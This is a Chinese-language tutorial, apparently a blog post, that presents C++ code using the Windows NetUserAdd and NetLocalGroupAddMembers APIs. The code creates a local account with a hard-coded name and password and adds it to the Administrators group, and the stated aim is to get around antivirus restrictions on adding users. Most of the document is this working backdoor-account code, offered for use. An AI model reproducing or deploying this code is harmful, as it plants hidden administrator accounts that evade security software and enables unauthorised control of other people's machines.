1 學習目標
使用API添加用戶可以繞過某些殺毒軟件的限制。
2 編程思路
2.1 代碼原理
使用NetUserAdd這個API添加普通權限的用戶,NetLocalGroupAddMembers這個API添加管理員權限。
2.2 編寫思路
- 1、定義USER_INFO_1 結構體
- 2、調用NetUserAdd添加普通權限賬戶
- 3、調用NetLocalGroupAddMembers添加到管理員組
3 參考文章
《使用NetUserAdd API函數創建遠程用戶》
http://www.cnblogs.com/findumars/p/5812177.html
4 實現流程
4.1 編程環境
操作系統:windows 7
編譯器版本:vs 2010
4.2 前置API函數
NetUserAdd
NET_API_STATUS NET_API_FUNCTION
NetUserAdd (
IN LPCWSTR servername OPTIONAL, //指定遠程服務器的DNS或NetBIOS名稱的函數來執行。如果該參數為NULL,使用本地計算機。
IN DWORD level,
IN LPBYTE buf,
OUT LPDWORD parm_err OPTIONAL
);
NetLocalGroupAddMembers
NET_API_STATUS NET_API_FUNCTION
NetLocalGroupAddMembers (
IN LPCWSTR servername OPTIONAL,
IN LPCWSTR groupname,
IN DWORD level,
IN LPBYTE buf,
IN DWORD totalentries
);
4.3 C++代碼
#include "stdafx.h"
#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int Usage(wchar_t *);
int wmain(int argc, wchar_t *argv[])
{
// 定義USER_INFO_1結構體
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"zzzhhh"; // 賬戶
ui.usri1_password = L"p@sswordQq123"; // 密碼
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名為zzzhhh的用戶,密碼為p@sswordQq123:
if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
MessageBox(0,L"successfully",L"title",0);
}
else
{
//添加失敗
MessageBox(0,L"fail",L"title",0);
}
// 添加用戶到administrators組
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=ui.usri1_name;
if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )
{
//添加成功
MessageBox(0,L"Add to Administrators success",L"title",0);
}
else
{
//添加失敗
MessageBox(0,L"Add to Administrators Fail!",L"title",0);
}
return 0;
}